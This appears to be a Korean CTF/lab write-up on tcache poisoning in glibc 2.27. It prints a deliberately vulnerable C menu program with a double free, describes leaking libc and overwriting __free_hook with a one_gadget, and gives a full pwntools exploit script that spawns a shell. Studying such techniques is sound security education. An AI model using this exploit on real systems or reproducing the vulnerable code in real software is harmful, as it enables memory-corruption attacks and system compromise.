1. Description
Tache Poisoning은 tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법이다.
원리
중복으로 연결된 청크를 재할당하면, 그 청크는 할당된 청크이면서, 동시에 해제된 청크가 된다.
할당된 청크와 해제된 청크가 동시에 존재하면 fd와 bk를 알아 낼 수 있다.
이 때 공격자가 중첩 상태인 청크에 임의의 값을 쓸 수 있다면, 그 청크의 fd와 bk를 조작할 수 있다.
즉, ptmalloc2의 free list에 임의 주소를 추가할 수 있다.
2. check
2.1 C code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
2.2 file
2.3 chekcsec
3. Design
익스플로잇의 목표는 훅을 덮어서 실행 흐름을 조작하고, 셸을 획득하는 것이다.
임의 주소 읽기로 libc가 매핑된 주소를 알아내고, 임의 주소 쓰기로 해당 주소에 one_gadget 주소를 덮어주면 된다.
3.1 Tcache Poisoning
임의 주소 읽기 및 쓰기를 위해 Tcache Poisoning을 사용할 것이다.
적당한 크기의 청크를 할당하고, key를 조작한 뒤, 다시 해제하면 Tcache Duplication이 가능하다.
그 상태에서, 다시 청크를 할당하고 원하는 주소를 값으로 쓰면 tcache에 임의 주소를 추가할 수 있다.
3.2 Libc leak
setvbuf 함수에 인자로 stdin과 stdout을 전달하는데, 이 포인터 변수들은 각각 libc 내부의 IO_2_1_stdin과 IO_2_1_stdout을 가리킨다.
따라서 이 중 한 변수의 값을 읽으면, 그 값을 이용하여 libc의 주소를 계산할 수 있다.
이 포인터들은 전역 변수로서 bss 영역에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 있다.
Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있다.
3.3 Hook overwrite to get shell
Libc가 매핑된 주소를 구했다면, 그로부터 one_gadget의 주소와 __free_hook의 주소를 계산할 수 있다.
다시 tcache poisoning으로 __free_hook에 청크를 할당하고, 그 청크에 적절한 one_gadget의 주소를 입력하면 free를 호출하여 셸을 획득할 수 있다.
4. Exploit
4.1 exploit code
from pwn import *
p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
alloc(0x30, "dreamhack")
free()
edit("A"*8 + "\x00")
free()
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
alloc(0x30, "B"*8)
alloc(0x30, "\x60")
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432
slog("free_hook", fh)
slog("one_gadget", og)
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()
alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))
free()
p.interactive()
4.2 result
성공적으로 shell을 얻어 냈다.
마치며
free list와 청크들의 관계와 tcache의 취약점을 이용해서 shell을 얻어냈다.
Tcache Dup: Double free 등을 이용하여 tcache에 같은 청크를 두 번 이상 연결시키는 기법.
Tcache Poisoning: tcache에 원하는 주소를 추가하여 해당 주소에 청크를 할당시키는 기법. 임의 주소 읽기, 임의 주소 쓰기의 수단으로 사용될 수 있다.
Reference